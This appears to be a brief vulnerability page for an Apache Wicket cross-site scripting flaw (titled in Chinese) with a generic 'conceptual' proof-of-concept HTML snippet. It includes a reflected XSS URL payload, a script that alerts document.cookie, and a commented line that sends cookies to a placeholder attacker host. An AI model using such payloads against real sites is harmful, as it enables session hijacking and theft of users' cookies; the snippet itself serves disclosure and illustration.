CVE-2026-42509 Apache Wicket跨站脚本漏洞

<!-- Conceptual Proof of Concept (PoC) for CVE-2026-42509 This demonstrates a potential Reflected XSS payload. --> <!-- Attacker constructs a malicious URL --> <!-- http://vulnerable-target.com/vulnerablePage?param=<script>alert('XSS')</script> --> <!-- Alternatively, a stored payload in a user profile field --> <script> // Simulating malicious JavaScript execution // In a real scenario, this would exfiltrate cookies or session tokens alert(document.cookie); // Example of sending data to an external server controlled by the attacker // fetch('http://attacker-server.com/steal?c=' + document.cookie); </script>